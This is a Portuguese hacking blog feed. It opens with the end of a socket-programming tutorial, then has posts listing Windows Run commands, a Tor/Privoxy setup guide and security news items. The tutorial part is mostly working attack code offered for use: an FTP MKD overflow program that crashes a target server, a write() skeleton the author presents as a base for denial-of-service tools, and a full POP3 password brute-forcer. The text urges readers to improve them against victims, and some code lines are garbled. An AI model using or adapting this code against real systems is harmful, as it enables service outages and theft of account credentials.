char * dir_escrita = "CWD "DIR_ESCRITA"\r\n";

char * mkd;

char * cwd;

/* Aqui se pega a definição acima do host que será vitimado */

inet_aton(VITIMA, &vitima);

mkd = malloc(300); bzero(mkd, 300);

cwd = malloc(300); bzero(cwd, 300);

Meusocket = socket(PF_INET, SOCK_STREAM,0);

bzero(&sa, sizeof(sa));

sa.sin_family = AF_INET;

sa.sin_port = htons(21);

sa.sin_addr.s_addr = vitima.s_addr;

if(!(connect(Meusocket, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))

{

char * buf = malloc(1024);

int i;

sprintf(mkd, "MKD ");

memset(mkd+4, 'X', 254);

sprintf(mkd, "%s\r\n", mkd);

sprintf(cwd, "CWD ");

memset(cwd+4, 'X', 254);

sprintf(cwd, "%s\r\n", cwd);

/* Vemos aqui uso pratico de recv() e send() */

recv(Meusocket, buf, 1024, 0);

send(Meusocket, "USER ftp\r\n", strlen("USER ftp\r\n"),0);

recv(Meusocket, buf, 1024, 0);

bzero(buf,1024);

send(Meusocket, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);

recv(Meusocket, buf, 1024, 0);

bzero(buf, 1024);

send(Meusocket, dir_escrita, strlen(dir_escrita), 0);

recv(Meusocket, buf, 1024, 0);

bzero(buf,1024);

for(i=0;i<40 i="" o:p="">

{

send(Meusocket, mkd, strlen(mkd), 0);

recv(Meusocket, buf, 1024,0);

if(!strlen(buf))

{

printf("FTPd Remoto crasheado (veja /var/log/messages)\n");

exit(0);

}

bzero(buf, 1024);

}

printf("Servidor não é vulneravel\n");

close(Meusocket);

}

else perror("connect ");

return(0);

}

------------------------------FIM DO EXEMPLO--------------------------

Bem aí está um exemplo bem simples de envio e recebimento de dados

usando as funções send() e recv() para derrubar um servico.Essa técnica de

Denial of Service pode ser útil para muitas finalidades, mas não deve ser

usada como diversão ou simples vandalismo, lembrando, não nos responsabilizamos

pelo mau uso das ferramentas descritas nesse txt. Com essas funções

você já está apto a escrever sockets para enviar aqueles famosos "remote

root buffer overflow"!!:)

As funções sendto() e recvfrom() usadas em sockets

SOCK_DGRAM, serão vistas muito em breve,mas antes veremos as funções

write() e read() que são parecidas com send() e recv().

--------------------------------

*** AS FUNÇÕES write() e read() |

--------------------------------

Essas funções possuem a mesma finalidade das funções send() e recv().

write() serve para escrever num socket, enquanto read() para ler de um socket.

A função read() é equivalente a função recv() com um parâmetro flag de 0.

Da mesma forma, write() é equivalente a send() com flags igual a 0. Essas

funções devem ser usadas somente em sistemas unix, lembre-se, esse tutorial

foi escrito para usuarios linux, linux slackware, not red sux!

Veremos a declaração delas:

/* Header necessario */

#include

ssize_t read(int Meusocket, void *buf, size_t count);

onde:

+ Meusocket -> Nosso bom e velho arquivo socket.

+ *buf -> Buffer de onde serão lidas as mensagens.

+ count -> Tamanho em bytes da mensagem a ser lida. Se count é igual a

zero, read() retorna zero e não possui outro resultado. Se

count é maior que sszize_max (declarado anteriormente), o

resultado não é especificado.

para a função write() é a mesma coisa:

#include

ssize_t write(int Meusocket, void *buf, size_t count);

onde os parâmetros equivalem aos mesmos parâmetros de send().

Veremos um simples esquema para essas funções, comecando com um programa

que envia dados (uma sequência de caracter A), através da função write():

--------------------------------------------------------------------------

/* PROGRAMA EXEMPLO DE ENVIO DE DADOS USANDO A função WRITE()

ESSE PROGRAMA FOI DESENVOLVIDO POR NASH LEON P/ TXT SOBRE SOCKETS.

TRANKS RAMONA E UNSEKURITY TEAM.

http://unsekurity.virtualave.net/

Esse programa poderá servir como carcaça (esqueleto) para possíveis

futuros programas geradores de Denial Of Service.

#include

/* O correspondente em hexa do caracter A */

#define A 0x41

main(int argc, char *argv[])

{

int Meusocket, porta, i;

struct sockaddr_in vitima;

struct hostent *he;

char *buf[2000];

if(argc == 1)

{

printf("Programa exemplo de uso de write() e read()\n");

printf("Poderá servir como esqueleto para um DoS!!\n");

printf("Uso: %s host porta\n",argv[0]);

exit(0);

}

porta = atoi(argv[2]);

Meusocket=socket(AF_INET,SOCK_STREAM,0);

if(Meusocket < 0)

{

perror("Socket");

exit(-1);

}

he = gethostbyname (argv[1]);

if(he == NULL)

{

herror("Erro!Host desconhecido mano!\n");

exit(-1);

}

vitima.sin_family = he->h_addrtype;

vitima.sin_port = htons(porta);

vitima.sin_addr =*((struct in_addr *)he->h_addr);

bzero(&(vitima.sin_zero), 8);

if(connect(Meusocket,(struct sockaddr *)&vitima, sizeof(vitima)) < 0)

{

fprintf(stderr,"Erro em connect()!!\n");

exit(-1);

}

/* Zeramos o buffer responsável por conter dados de envio */

bzero(buf,sizeof(buf));

/* Aqui nós enchemos o buffer de envio com o caracter desejado */

for(i=0; i < 1024; i++)

{

buf[i] = (char *) A;

}

buf[1024 -1] = '\0';

/* Finalmente nossa função write(), que enviará o conteudo de buffer */

printf("Enviando dados!!\n");

if(write(Meusocket,buf,strlen(buf)) < 0)

{

printf("Erro em write()\n");

close(Meusocket);

exit(-1);

}

printf("Dados enviados com sucesso!\n");

close(Meusocket);

return 0;

}

-----------------------------------------------------------------------

Esse programa acima serve somente para enviar dados para um determinado

host e uma determinada porta, você poderia muito bem declarar um serviço

exemplo, ftp, onde se poderia tentar um DoS usando um simples esquema como:

sprintf(buffer,"USER %s",buf);

write(Meusocket,buffer,strlen(buffer));

Lógico, o programa deveria primeiro estar vulnerável a esse overflow, mas

por incrível que pareca, não sao poucos os programas que ainda hoje são

vulneráveis a isso. Mas quanto a overflows. Já temos um bom texto sobre isso

que será publicado muito em breve.

Para a função read(), eu fiz um exemplo mais prático, mas um pouco grande,

de forma que tentei deixar o mais claro possível a manipulação dessas duas

funções. O programa que segue abaixo é um brutal force que trabalha em cima

de um login dado, ele é básico, faz coisas básicas, mas você poderá fazer

com que ele seja otimizado, pense! E faça!! Brutal force é uma técnica,

embora muitos não consideram técnica por causa do nome..:)..mas escrever

um brutal pode ser muito útil..ainda hoje em dia na época de firewalls, isso

ainda é válido.. Veja como é o funcionamento do programa, lembre-se:

SABENDO FAZER UM O QUE TE IMPEDE DE FAZER TODOS?

-----------------------------

*** TERCEIRO EXEMPLO PRÁTICO |

-----------------------------

/* Programa desenvolvido por Nash Leon para tentar um brutal force

em servidores pop, utilizando permutações e combinações num

Breve disponibilizarei uma versão mais complexa e atual desse programa.

OBS:Nao me responsabilizo pelo mau uso deste programa, ele foi

construido somente com propósitos educacionais!!

nashleon@yáoo.com.br

Thanks Ramona e unsekurity team.

http://unsekurity.virtualave.net

#include

#define PORTA 110

int atacar(char *vitima, int porta, char *login, char *senha);

void Un(char *nome1, char *host);

void Uns(char *nome1, char *nome2, char *host);

void Unse(char *nome1, char *host);

void modo_errado();

main(int argc, char *argv[])

{

char senhar[30];

if(argc < 4)

{

system("clear");

fprintf(stderr,"\n\t\t\tNASH LEON BRUTAL FORCE v0.1\n\n\n");

fprintf(stderr,"Desenvolvido por Nash Leon e unsekurity team!\n");

fprintf(stderr,"http://unsekurity.virtualave.net\n");

fprintf(stderr,"Uso: %s \n\n",argv[0]);

fprintf(stderr,"Onde modo pode ser:\n");

fprintf(stderr,"un -> somente passwd igual a login\n");

fprintf(stderr,"uns ->passwd igual a login ao contrario\n");

fprintf(stderr,"unse -> passwd igual a login + um número no final(0 a 9)\n");

fprintf(stderr,"unsek -> Todos os modos acima.\n");

exit(0);

}

if(argv[3])

{

if(!strcmp(argv[3],"un"))

{

system("clear");

printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");

printf("Executando modo \"un\" -> Somente senhas iguais aos logins!!\n");

printf("Boa sorte mano!!\n");

Un(argv[2], argv[1]);

return 0;

}

if(!strcmp(argv[3],"uns"))

{

system("clear");

printf("*********************** NASH LEON BRUTAL FORCE v0.1 ***********************\n");

printf("Executando em modo \"unsek\" -> Senha iguais ao login ao contrario!!\n");

strcpy(senhar,argv[2]);

Uns(argv[2],senhar,argv[1]);

return 0;

}

if(!strcmp(argv[3],"unse")){

system("clear");

printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");

printf("Executando em modo \"unse\" -> Senhas igual ao login + número(0 a 9)\n");

printf("Boa Sorte Mano!!\n");

Unse(argv[2],argv[1]);

return 0;

}

if(!strcmp(argv[3],"unsek")){

system("clear");

printf("********************* NASH LEON BRUTAL FORCE v0.1 *********************\n");

printf("Executando em todos os modos possiveis desta versao!!\n");

printf("Boa sorte mano!!\n");

Un(argv[2],argv[1]);

Uns(argv[3],senhar,argv[1]);

Unse(argv[2],argv[1]);

return 0;

}

modo_errado();

}

void modo_errado()

{

printf("Modo errado\n");

exit(1);

}

void Un(char *nome1, char *host)

{

char senha[30];

int porta = PORTA;

strcpy(senha,nome1);

atacar(host,porta,nome1,senha);

}

atacar(char *vitima, int porta, char *login, char *senha)

{

char templ[512],temps[512], envia[1024],recebe[1024],saida[1024];

int Meusocket, len;

struct hostent *he;

struct sockaddr_in lascado;

he = gethostbyname(vitima);

if (he < 0)

{

printf("Host Desconhecido mano!!\n");

exit(1);

}

Meusocket = socket(AF_INET, SOCK_STREAM, 0);

if(Meusocket < 0)

{

fprintf(stderr,"Erro no socket mano!!\n");

exit(1);

}

lascado.sin_family = he->h_addrtype;

lascado.sin_port = htons(porta);

lascado.sin_addr = *((struct in_addr *)he->h_addr);

bzero(&(lascado.sin_zero), 8);

if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) < 0)

{

printf("Erro em connect() mano!!\n");

close(Meusocket);

exit(0);

}

bzero(recebe,sizeof(recebe));

len = read(Meusocket,recebe,strlen(recebe));

sprintf(templ,"USER %s\n",login);

if(write(Meusocket,templ,strlen(templ)) < strlen(templ))

{

fprintf(stderr,"Falha em write()!!\n");

return -1;

}

bzero((char *)&recebe,sizeof(recebe));

if( read(Meusocket,recebe, sizeof(recebe)) < 0)

{

perror("read()");

return -1;

}

recebe[(strlen(recebe)-2)] = '\0';

/* Aqui checa se existe login */

if (strstr(recebe, "+OK") == NULL )

{

return -1;

}

bzero((char *)&envia, sizeof(envia));

read(Meusocket,envia,1024);

bzero((char *)&temps,sizeof(temps));

sprintf(temps,"PASS %s\n",senha);

if(write(Meusocket,temps,strlen(temps)) < strlen(temps))

{

perror("write()");

return -1;

}

if(read(Meusocket,envia,sizeof(envia)) < 0)

{

perror("read()");

return -1;

}

envia[(strlen(envia)-2)] = '\0';

/* Aqui diz se senha é correta */

if (strstr(envia, "+OK") != NULL )

{

printf("Password valido mano!!\n");

printf("login \"%s\" possui senha \"%s\".\n",login,senha);

bzero((char *)&saida,sizeof(saida));

sprintf(saida,"%s","QUIT");

write(Meusocket,saida,strlen(saida));

bzero((char *)&saida,sizeof(saida));

return 0;

}

bzero((char *)&envia,sizeof(envia));

bzero((char *)&recebe,sizeof(recebe));

bzero((char *)&saida,sizeof(saida));

sprintf(saida,"%s","QUIT");

write(Meusocket,saida,strlen(saida));

bzero((char *)&saida,sizeof(saida));

return 0;

}

void Uns(char *nome1, char *nome2, char *host)

{

int tamanho, i;

int porta = PORTA;

tamanho = strlen(nome1);

for(i = 0; i < tamanho; i++)

{

nome2[i] = (&nome1[tamanho-i]) [-1];

}

nome2[tamanho] = '\0';

atacar(host,porta,nome1,nome2);

}

void Unse(char *nome1, char *host)

{

char senhas[30];

int i;

for(i=0;i<10 i="" o:p="">

{

sprintf(senhas,"%s%d",nome1,i);

}

atacar(host,PORTA,nome1,senhas);

}

----------------------------------------------------------------------

Bem.aí está amigos, um brutal force. No uso da função read(), eu

coloquei um espaço para o terminador nulo como em:

envia[(strlen(envia)-2)] = '\0';

Geralmente isso se faz necessário. Com esse brutal force, é possivel,

com paciência, logico! Você conseguir capturar algumas senhas, bem como

shells...gostaria de lembrar, no entanto, que esse não é um bom método,

pois deixa muito rastro, bem como existem sistemas que não permitem

conexão de fora na porta 110. Mas pegue os conceitos, com um pouco de

dedicação, você poderá melhorar esse programa, ou mesmo fazer um bem

melhor que tenta em outras portas, ex. porta 80, se possível na vítima,

seria uma boa. Fecho aqui o último exemplo desse tutorial, espero que

eles tenham sido úteis ou sejam úteis para você, lembrando amigo, se você

achou isso tudo difícil, não desanime, procure outros textos sobre sockets,

existem muitos e melhores do que este, se você achou fácil, espero que os

conceitos das técnicas sirvam para você, bem como digo que em breve,

escreverei algo mais complexo para nutrir seus conhecimentos.

-------------------------

*** CONSIDERAÇÕES FINAIS |

-------------------------

Terminamos essa fase inicial de escrita de sockets, já temos materiais

quase prontos sobre uso de mais funções como select(), bem como material

sobre UDP socks, mas não publicaremos ainda por questão de prioridade,

como escrevemos para Newbies, publicaremos primeiro outros materiais, mas

em breve, muito breve mesmo, estará disponível aqui coisas mais

interessantes ainda sobre sockets em unix e talvez winsocks.

Espero mesmo que tudo que escrevi acima tenha algum valor útil para alguém,

lembrando sempre, que a união faz a força, se mais pessoas se engajarem

em escrever e publicar técnicas e conceitos de fuçadores, sem dúvida o

cenario tende a crescer. Obrigado aqueles que me incentivaram na escrita

deste e dos outros textos, bem como os que se oporam, vocês são a minha

maior inspiração!!:)..Uma das coisas que me fez entrar nessa vida de

fuçador, foi um dilema da ética: "LIBERDADE DE INFORMAÇÃO!", guardando ou

retendo o que eu aprendi, estarei fugindo ao dilema que me atraiu, e

consequentemente fazendo morrer o espirito hacker que há dentro de mim.

Um abraço cordial a todos!

----------------------------------------------

*** ALGUNS LINKS SOBRE PROGRAMACAO DE SOCKETS |

----------------------------------------------

http://www.lowtek.com/sockets/

http://www.ecst.csuchico.edu/~beej/guide/ne

http://www.auroraonline.com/sock-faq

http://kipper.york.ac.uk/~vic/sock-faq

http://packetstorm.securify.com/programming-tutorials/Sockets/

Estou voltando...

noreply@blogger.com (Cr4sH) — Mon, 01 Apr 2013 23:32:00 +0000

É galera eu admito abandonei o blog, fiquei sem tempo pois agora estou casado e com 2 filhos... Porem venho avisar que o Blog vai voltar a ser atualizado com novas informações em breve. Então pra quem sentiu minha falta o Cr4sh ta de volta...

Comandos para usar no Executar do Windows.

noreply@blogger.com (Cr4sH) — Tue, 24 May 2011 13:15:00 +0000

Accwiz.exe - Acessa o Assistente de Acessibilidade
Calc.exe - Executa o programa Calculadora
Charmap.exe - Executa o Mapa de Caracteres
ChkDsk.exe - Executa o Scandisk em ambiente simulado DOS
CleanMgr.exe - Executa a Limpeza de Disco
CliconFg.exe - Executa o utilidade Rede para clientes do SQL Server
CMD.exe - Executa o Prompt de Comando do DOS
Control.exe - Acessa o Painel de Controle
DxDiag.exe - Ferramenta de Diagnóstico do Direct X
EudCedit.exe - Executa Editor de caracteres especiais
Explorer.exe - Acessa o Windows Explorer
Magnify.exe - Executa a Lente de aumento do Windows XP
Mspaint.exe - Executa o Paint Brush
MsHearts.exe - Executa o Jogo de Copas
Mstsc.exe - Abre a janela para conexão de área de trabalho Remota
MSconfig.exe - Utilitário de configuração do Sistema
Notepad.exe - Acessa o Bloco de Notas
NetSetup.exe - Executa o Assistente para configuração de rede doméstica
Ntbackup.exe - Assistente para Backup e restauração
Osk.exe - Executa o teclado Virtual
PergMon.exe - Gerenciador de Desempenho do Windows XP
Regedit.exe - Acessa o ambiente de exploração do registro do Windows
Rstrui.exe - Executa o Assistente para restauração do Sistema
Sol.exe - Executa o Jogo Paciência
Spider.exe - Executa o Jogo Spider
Telnet.exe - Acessa o ambiente DOS possibilitando a comunicação Remota
TaskMgr.exe - Gerenciador de Tarefas do Windows
Winchat.exe - Bate Papo do Windows
Write.exe - Wordpad do Windows
Ferramentas Administrativas
gpedit.msc - Diretivas de Grupos
perfmon.msc - Serviço de componentes
compmgmt.msc - Gerenciamento do Computador
services.msc - Serviços
secpol.msc - Diretiva de Segunça Local
comexp.msc - Serviços de Componentes
odbcad32.exe - Fontes de Dados (ODBC)

Assistente de controles => access.cpl
Assistente de acessibilidade => accwiz
Adicionar novo hardware => hdwwiz.cpl
Adicionar/Remover programas => appwiz.cpl
Ferramentas Admnistrativas => control admintools
Adobe Acrobat (Executar se instalado ) => acrobat
Adobe Designer (Executar se instalado ) => acrodist
Adobe Distiller (Executar se instalado ) => acrodist
Adobe ImageReady (Executar se instalado ) => imageready

Adobe Photoshop (Executar se instalado ) => photoshop
Atualizações automáticas => wuaucpl.cpl
Assistente para transferência BlueTooth => fsquirt
Calculadora => calc
Gerenciador de Certeficados => certmgr.msc
Mapa de caracteres => charmap
Check Disk Utility => chkdsk
Visualizador da área de armazenamento => clipbrd
Janela de comandos DOS => cmd
Serviços de Componentes => dcomcnfg
Gerenciamento do computador => compmgmt.msc
Painel de Controle => control
Propriedades de data e tempo => timedate.cpl
DDE Shares => ddeshare
Gerenciamento de dispositivos => devmgmt.msc
Direct X Control Panel (Se instalado )* => directx.cpl
Direct X Troubleshooter => dxdiag
Limpeza de Disco => cleanmgr
Desfragmentador de Discos => dfrg.msc
Gerenciamento de Discos => diskmgmt.msc
Gerenciamento de partição de Discos => diskpart
Propriedades de Vídeo => control desktop
Propriedades de Vídeo => desk.cpl
Propriedades de Vídeo (aparência) => control color
Dr. Watson System Troubleshooting Utility => drwtsn32
Driver Verifier Utility => verifier
Event Viewer => eventvwr.msc
Assistente para transferência de arquivos e informações => migwiz
Verificação de assinatura de arquivo => sigverif
Busca rápida => findfast.cpl
Firefox (Executar se instalado ) => firefox
Propriedades de pasas => control folders
Fonts => control fonts
Fonts (Pasta) => fonts
Jogo FreeCell => freecell
Controle para Jogos => joy.cpl
Group Policy Editor (XP Prof) => gpedit.msc
Jogo de cartas => mshearts
Ajuda e suporte => helpctr
HyperTerminal => hypertrm
Iexpress Wizard => iexpress
Indexing Service => ciadv.msc
Internet Connection Wizard => icwconn1
Internet Explorer => iexplore
Propriedades da Internet => inetcpl.cpl
Suporte a Configurações da Internet => inetwiz
Configuração de protocolo de Internet( Visualizar tudo) => ipconfig /all
Configuração de protocolo de Internet(Visualizar DNS ) => ipconfig /displaydns
Configuração de protocolo de Internet (Deletar informações de DNS ) => ipconfig /flushdns
Configuração de protocolo de Internet (Todas as conexões ) => ipconfig /release
IP Configuration (Renovar Conexões ) => ipconfig /renew
IP Configuration (Atualizar DHCP & Re-Registers DNS) => ipconfig /registerdns
IP Configuration (Visualizar DHCP Class ID) => ipconfig /showclassid
IP Configuration (Modificar DHCP Class ID) => ipconfig /setclassid
Painel de controle Java (Executar se instalado ) => jpicpl32.cpl
Painel de controle Java (Executar se instalado ) => javaws
Propriedades do teclado => control keyboard
Configurações de segurança => secpol.msc
Usuários e Grupos locais => lusrmgr.msc
Fazer Logoff do Windows => logoff

Software para retirar Malware´s (fraco) => mrt
Microsoft Access (Executar se instalado ) => access.cpl
Microsoft Chat (Bate-papo, alguém usa isso? ) => winchat
Microsoft Excel (Executar se instalado ) => excel
Microsoft Frontpage (Executar se instalado ) => frontpg
Microsoft Movie Maker (Ferramenta para edição de filmes caseiros) => moviemk
Microsoft Paint (Famoso Paint Brushe ) => mspaint
Microsoft Powerpoint (Executar se instalado ) => powerpnt
Microsoft Word (Executar se instalado ) => winword
Ferramenta para Sincornização => mobsync
Minesweeper Game (Jogo " Mina ") => winmine
Propriedades do Mouse => control mouse
Propriedades do Mouse => main.cpl
Nero (Executar se instalado ) => nero
Netmeeting (Sofwtare para comunicação, utilizado geralmente em empresas de pequeno porte ) => conf
Conexões de rede => control netconnections
Conexões de rede => ncpa.cpl
Setupe de Conexões de rede => netsetup.cpl
Bloco de notas => notepad
Nview Desktop Manager (Executar se instalado ) => nvtuicpl.cpl
Gerenciador de Objetos => packager
Administrador de fontes de dados ODBC => odbccp32.cpl
Teclado virtual => osk
Opens AC3 Filter (Executar se instalado ) => ac3filter.cpl
Outlook Express => msimn
Paint => pbrush
Propriedades de senha => password.cpl
Ajustar Monitor => perfmon.msc
Ajustar Monitor => perfmon
Opções de telefone e modem => telephon.cpl
Discador => dialer
Pinball Game => pinball
Propriedades de opções de energia => powercfg.cpl
Impressoras e Faxes => control printers
Pasta de impressoras => printers
Editor de characteres particulares (algúem conhece isso?) => eudcedit
Quicktime (Se instalado ) => QuickTime.cpl
Quicktime Player (Se instalado executar o Quick Time ) => quicktimeplayer
Real Player (Se instalado Executar o Real player ) => realplay
Configurações regionais => intl.cpl
Editor de Registros => regedit
Editor de Registros => regedit32
Catalogo Telefonico => rasphone
Conectar a Desktop Remoto através de um Host ou IP => mstsc
Armazenamento removível => ntmsmgr.msc
Solicitação do operador de armazenamento removível => ntmsoprq.msc
Consulta de diretivas resultantes => rsop.msc
Assistente de Cameras e Scanners => sticpl.cpl
Tarefas Agendadas => control schedtasks
Centro de segurança do Windows => wscui.cpl
Serviços => services.msc
Opens AC3 Filter (Executar se instalado ) => ac3filter.cpl
Outlook Express => msimn
Paint => pbrush
Propriedades de senha => password.cpl
Ajustar Monitor => perfmon.msc
Ajustar Monitor => perfmon
Opções de telefone e modem => telephon.cpl
Discador => dialer
Pinball Game => pinball
Propriedades de opções de energia => powercfg.cpl
Impressoras e Faxes => control printers
Pasta de impressoras => printers
Editor de characteres particulares (algúem conhece isso?) => eudcedit
Quicktime (Se instalado ) => QuickTime.cpl
Quicktime Player (Se instalado executar o Quick Time ) => quicktimeplayer
Real Player (Se instalado Executar o Real player ) => realplay
Configurações regionais => intl.cpl
Editor de Registros => regedit
Editor de Registros => regedit32
Catalogo Telefonico => rasphone
Conectar a Desktop Remoto através de um Host ou IP => mstsc
Armazenamento removível => ntmsmgr.msc
Solicitação do operador de armazenamento removível => ntmsoprq.msc
Consulta de diretivas resultantes => rsop.msc
Assistente de Cameras e Scanners => sticpl.cpl
Tarefas Agendadas => control schedtasks
Centro de segurança do Windows => wscui.cpl
Serviços => services.msc

Privoxy + TOR (Ganhando o anonimato na internet)

noreply@blogger.com (Cr4sH) — Tue, 24 May 2011 13:06:00 +0000

Bom pessoal, resolvi criar mais um tutorial, so que agora sobre um assunto mais importante ^^
Irei explicar como configurar e rodar um Proxy junto ao TOR! Com a finalidade de ganhar o anonimato ^^

Vamos ver qual é o nosso IP antes de tudo, só para notar a alteração ^^
Para ver o ip: link -> http://meuip.com.br/

Baixe o pacote de programas necessírio! o Link é:
https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.24-alpha-0.2.12.exe

3º Passo: Após termos instalado, vamos configurar o PRIVOXY

Vamos entrar na pasta onde foi instalado o PRIVOXY e [ABRIR] o arquivo [ config.txt ]

Vamos puchar a barra de rolagem até o final do arquivo, e [INSERIR] a linha forward-socks4a / 127.0.0.1:9050 .
logo abaixo da linha #hide-console
Não esqueça do ponto no fim da linha!

salve as alterações em ARQUIVO > SALVAR! e feche o arquivo!

Agora vamos configurar nossos Navegadores para o proxy!

*** No caso do IE (Internet Explorer)

- Abra uma pígina do IE:

- Entre em FERRAMENTAS > OPÇÕES DA INTERNET:

Acione a guia [CONEXÕES]

- Entre no botão [CONFIGURAÇÕES]

Ative as opções [Usar um servidor proxy...] e [Não usar proxy para...]

Ainda acione o botão [AVANÇADO]
OK > OK > OK e pronto configuramos para o IE!

No caso do FireFox:

É necessírio o download de um PLUGIN: link -> https://addons.mozilla.org/firefox/125/

Após a instalação!

- Abra o navegador e click no botão [ADD]
Na tela de seleção do tipo de Proxy, ecolha a opção STANDARD e click no botão [NEXT]
Agora configure a janela
Pronto configuramos o FireFOX.

feito isso, siga as instruçoes:
__________________________________________________ ________
Abra o TOR! e espere carregar
Abra o PRIVOXY! logo após minimize!
vamos entrar no link abaixo e ver se nosso IP mudou! link -> http://ipid.shat.net

Para voltar a utilizar a conexão sem o proxy...

*** No caso do IE:

- Abra o navegador - FERRAMENTAS > OPÇÕES DA INTERNET > COINEXàO > CONFIGURAÇÔES e desative [Usar um servidor proxy...]

*** No caso do Firefox:

- Desative a conexão do proxy... pelo navegador!

Tuto By: 4TT4Ck3r

Hackers invadem site de produtora de games Square Enix e roubam 25 mil e-mails.

noreply@blogger.com (Cr4sH) — Mon, 16 May 2011 14:38:00 +0000

Uma invasão a sites da Square Enix pode ter resultado no roubo de 25 mil endereços de e-mail e 350 currículos a vagas de emprego na empresa, informou a companhia. Os sites do game Deux Ex e da Eidos Montreal foram comprometidos e hackers “picharam” as páginas, deixando mensagens identificando o grupo responsável como “Chippy1337”.

Os responsáveis, porém, seriam uma facção descontente do grupo que recentemente invadiu servidores usados pelo Anonymous. Eles seriam simpatizantes do Anonymous, contrários à invasão dos servidores do “grupo” anônimo, e, por isso, estariam atribuindo a invasão aos seus antigos “colegas”.

Na mensagem deixada na página, os invasores escreveram “hackeado por...” seguido de diversos “nicknames” junto de nomes reais, numa tentativa de atribuir o ataque a pessoas que não tiveram relação com ele.

O jornalista Brian Krebs obteve o que pode ser um registro da troca de mensagens entre os hackers enquanto realizavam a invasão aos sites da Square Enix e também a quem o ataque seria falsamente atribuído. Eles usavam os nicknames “nigg”, “e” e “ev0”.

Segundo a Square Enix, os endereços de e-mail não estavam ligados a nenhuma outra informação pessoal, diferentemente do caso da Playstation Network em que também foram roubados nomes, endereços físicos e outras informações pessoais. Apenas as informações dos candidatos que enviaram currículos estariam completas.

A Square Enix disse já estar tentando informar as pessoas que podem vir a sofrer ataques por e-mail devido à invasão.

Fonte: G1

Falso Antivirus para Mac diz que o computador esta infectado.

noreply@blogger.com (Cr4sH) — Tue, 10 May 2011 12:52:00 +0000

Empresas de segurança estão alertando para duas novas ameaças para computadores Macintosh, da Apple, com o sistema MacOS X: o antivírus fraudulento “MAC Defender” e um kit para criação de pragas digitais. Os códigos maliciosos funcionam exatamente como os de Windows. O MAC Defender está sendo disseminado junto com os ataques à computadores Windows usando a morte de Osama bin Laden.

O antivírus fraudulento, descoberto pelas empresas de segurança Intego e Kaspersky, funciona exatamente como as pragas semelhantes para Windows. Ele afirma que o computador está infectado e que pode realizar uma limpeza, mas somente se o programa for comprado por, no mínimo, US$ 60. No entanto, o próprio “antivírus” é a praga e as detecções são falsas ou relacionadas a arquivos que ele mesmo criou no sistema.

O usuário pode ser infectado ao procurar imagens de Osama bin Laden em sites de busca. O líder terrorista foi morto neste domingo (1º) em uma operação do exército norte-americano. Usando uma função no Safari conhecida como “Open safe files after downloading”, o arquivo malicioso é capaz de se baixar e executar sozinho, embora ainda precise de permissão do usuário para se instalar. A função é conhecida por ter problemas de segurança desde 2006, mas não foi removida do navegador.

Um golpe semelhante para Mac foi encontrado em 2008, mas a interface gráfica do programa era diferente. O nome “Mac Defender” também é usado por uma empresa, que afirmou não ter nenhuma relação com a praga virtual.

Kit de criação de vírus
A empresa de segurança dinamarquesa CSIS anunciou a descoberta de um possível kit de criação de vírus para MacOS X chamado Weyland-Yutani. O kit consegue criar códigos maliciosos capazes de roubar senhas do Firefox; funções para o Safari devem ser lançadas “em breve”. Segundo a CSIS, os criminosos prometeram versões do mesmo kit para iPad e Linux. O kit estaria sendo vendido por US$ 1 mil.

Considerado livre de vírus durante muito tempo, a primeira praga virtual para MacOS X surgiu só em 2006. Em 2007, o primeiro vírus com intuito financeiro para a plataforma apareceu e foi batizado de RSPlug. Desde então, outras pragas digitais capazes de atacar computadores da Apple aparecem regularmente, embora em número incomparavelmente inferior ao de Windows.

Hackers Chineses invadem rede elétrica da Letônia

noreply@blogger.com (Cr4sH) — Tue, 10 May 2011 11:36:00 +0000

Um indivíduo usando o nome “Zhang Xinghu” publicou relatos de uma invasão a uma termoelétrica da Letônia operada pela empresa de energia Latvenergo. Ele afirma fazer parte da “Aliança de Hackers Jovens da China” e tentou comprovar seu feito publicando diversas capturas de tela do suposto sistema de controle da usina Riga TEC-2.

Vírus no Facebook promete mostrar imagem do usuário no futuro

noreply@blogger.com (Cr4sH) — Fri, 06 May 2011 12:16:00 +0000

Esta semana, uma nova praga começou a se espalhar por entre os perfis do Facebook. O anúncio, semelhante aos enviados por aplicativos comuns da rede social, promete mostrar ao usuário uma imagem de como será sua aparência no futuro.

O site de origem do convite é identificado como “jvaging2.info”, e a mensagem acompanha a frase “esta tecnologia de ponto vai lhe mostrar exatamente como sua face ficará no futuro”. Ao clicar no link enviado, o usuário abre as portas para que o vírus se dissemine automaticamente por toda a sua rede de contatos.

Como forma de atrair a atenção das possíveis vítimas, o aplicativo também incluiu a frase “hahah, a minha é hilária!!! Confira a sua :)”, identificada como se fosse um comentário do usuário infectado. Todas as informações são exibidas em inglês, o que facilita a identificação daqueles contaminados.

Até o momento, a praga se limitou a simplesmente se reproduzir através do envio automático de mensagens. Porém, há a possibilidade de que ela comprometa dados pessoais do usuário, incluindo a senha de acesso utilizada.

Leia mais no Baixaki.

Formspring é 'central de comando' de novo vírus brasileiro

noreply@blogger.com (Cr4sH) — Thu, 28 Apr 2011 21:35:00 +0000

A rede social Formspring, que permite aos usuários criarem páginas para que outros internautas perguntem qualquer coisa, está sendo usada como centro de controle por vírus brasileiros programados para roubar senhas de banco. A descoberta é do analista de vírus Fabio Assolini, da Kaspersky Lab.

Os comandos na página maliciosa do Formspring estão codificados e não causam nenhum dano ao internauta que vê o perfil – o objetivo é simplesmente servir de ponto de controle para o vírus. Para a maioria das pessoas, os comandos são incompreensíveis. “Quem vê o conteúdo no perfil malicioso não imagina o que pode ser e isso faz com que o perfil fique mais tempo online”, explica Assolini.

Os códigos deixados pelos criminosos nas páginas do Formspring são principalmente endereços dos quais o vírus deve baixar componentes adicionais – “módulos” que acrescentam funções ou modificam o comportamento da praga para mantê-la atualizada. Outra informação que pode ser enviada ao vírus pelo Formspring é o endereço do banco de dados para o qual o vírus deve enviar as informações bancárias coletadas.

Um contador que registra o número de pessoas infectadas pela praga também é acionado pelos comandos.

